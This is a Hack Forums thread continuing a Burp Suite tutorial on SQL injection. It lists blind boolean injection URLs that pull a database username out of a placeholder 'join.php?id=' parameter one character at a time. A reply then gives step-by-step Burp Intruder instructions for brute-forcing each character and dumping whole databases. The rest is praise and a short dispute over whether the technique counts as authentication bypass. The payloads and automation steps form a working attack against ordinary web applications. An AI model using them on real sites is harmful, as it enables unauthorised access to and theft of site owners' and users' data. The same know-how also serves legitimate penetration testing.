+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [TUT] BURP SUITE - PART II: SQL Authentication Bypass [TUT] (/showthread.php?tid=1969457)
* - stock1337 - Mar 8, 2012
Pardon my poor english :S Below is a example I'd like to batch process:
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<200 -- True.
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<100 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>100 -- True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>150 -- false
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<150 -- True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>125 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<125 -- True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>112 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<112 --True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>106 --False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<106 --True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>103 --True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>105 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<105 -- True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>104 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<104 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1)) =104 --True ===>104 = h
For the normal blind sqli, one can use the above boolean test to manually figure out a character's decimal value is 104 (thus the character is 'h'). I am looking for a way to batch process those tests in BURP so I don't have to manually perform it and repeat the same for multiple parameters throughout the entire site. If I undertand you correctly, burp don't seems have that features yet....
My programming knowledge only goes as far as basic bash script....Is there a good tutorial for python showing me how to achieve what I need(as comprenhensive as yours preferably ^_^)?
* - Hooded Robin - Mar 8, 2012
Download my pack or make your own list with all the numbers of the ascii chart, we will use this as our payload in a minute (one per line to work right). Next we open our link in our browser to capture it in the proxy tab of Burp. Next we sent it to the repeater tab. On the repeater tab we frame our BLIND injection by starting with our first request:
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<200 --
Now to make Burp useful we skip the entire TRUE/FALSE test and simple brute our way to TRUE. We send the request to the INTRUDER tab now, where we change it as follows:
http://site/join.php?id=6//and//ascii(substring(user(),0,1))=$200$--
We mark flip to "=" comparison and then we mark the char value as our injection point (clear any others that may be loaded). Next you need to choose your payload, choose Sniper and runtime file. Point it to the file we made earlier which is full of numbers (from ascii chart). Now you can add text from the TRUE page results to the regex check if you like but it is not really necessary for this process. Run INTRUDER tool when setup. Now simply interpret the results each time until you find the TRUE request. You can use the response size in 99% of the cases to judge whether your request came back TRUE or FALSE. Once you find the TRUE request, mark that char down.
Go back to the INTRUDER tool beginning, move the LIMIT statement in injection up position to get the next character positon from our target table/column/password and repeat the process again, adjusting injection syntax with repeater tool as needed and then sending back to intruder again.
It is deffinately faster than doing it by hand and it send about the same amount of requests if you keep an eye on it. You could play with your payload list to come up with an optimized way to sort it but pure bruteforce in logical systematic order does the trick for me. This method also works really well for dumping large databases when you have an error based injection (same principal, just frame it and enumerate the LIMIT or CHAR positions).
Hope this helps clarify things up a bit if we need to discuss further please send my way via PM to get this thread back on track.
To everyone else hope this has not taken away from the thread at hand which is focused on using SQL Injection techniques to bypass weak authentication schemes typically found at login panels. If anyone else has questions please feel free to post away, but please keep on thread topic or shoot me a PM.
* - FMtheHackerVenkat - May 3, 2012
thank u for poviding tutorial ..🤗😭🤝:
* - Jesse Pinkman™ - May 3, 2012
HQ as always, keep up the good work mate!
* - нα¢кєя - May 3, 2012
HR i love you . Awesome work :) bro
* - Th3PonyWizard - May 3, 2012
(May 3, 2012 06:01 AM)FMtheHackerVenkat Wrote: thank u for poviding tutorial ..🤗😭🤝:And (no) thanks for gravedigging tutorials. Meh.
A Pretty nice tutorial, but sadly I can't use it, being on Linux. (Is there any linux version of that? :\ )
* - Hooded Robin - May 3, 2012
Burp Suite is Java based and therefore is platform independent. If you don't like Burp Suite everything works with the new OWASP Zed Attack Proxy (a.k.a. ZAP) as well. I use both on Linux regularly :)
PS - thanks for the comments, I don't mind you gravedigging any of my tutorials. They need since they get buried by some much BS these days :(
* - Zixem - May 13, 2012
Awsome TUT .. Nice work TNX [= 🤝
* - MISTUGAN - Aug 24, 2012
Oh! another great tutorials...
thanks for sharing...
* - hrga787 - Aug 24, 2012
Nice post. thanks for this.. very usefull
* - FinalDespair - Dec 1, 2012
Thanks for the tutorial. just what i wanted.
* - Avinash Thapa - Apr 30, 2014
one of the nice tutorial for burp...
Keep it up man..
* - ShadowRi5ing - Apr 30, 2014
Good tutorial, but this is not an SQL authentication bypass, it's just a very classic example of an SQLi.
http://www.cvedetails.com/cve-details.php?t=1&cve_id=2012-2122
* - Hooded Robin - May 8, 2014
This is authentication bypassing via SQLi which is a common occurrence in the wild and very easy to test with Burp which is the main point here to this thread. The actual MySQL Authentication Bypass is another vulnerability as you have referenced in your link. I wrote something for that which is included in my creep3r tool already which you can find here: https://github.com/Hood3dRob1n/creep3r/blob/master/classes/dbtools.rb (see lines 42 - 90, for specific code)
* - Mr.Plasma - May 8, 2014
Nice tutorial its i have enjoyed it, It helped me btw Alot :D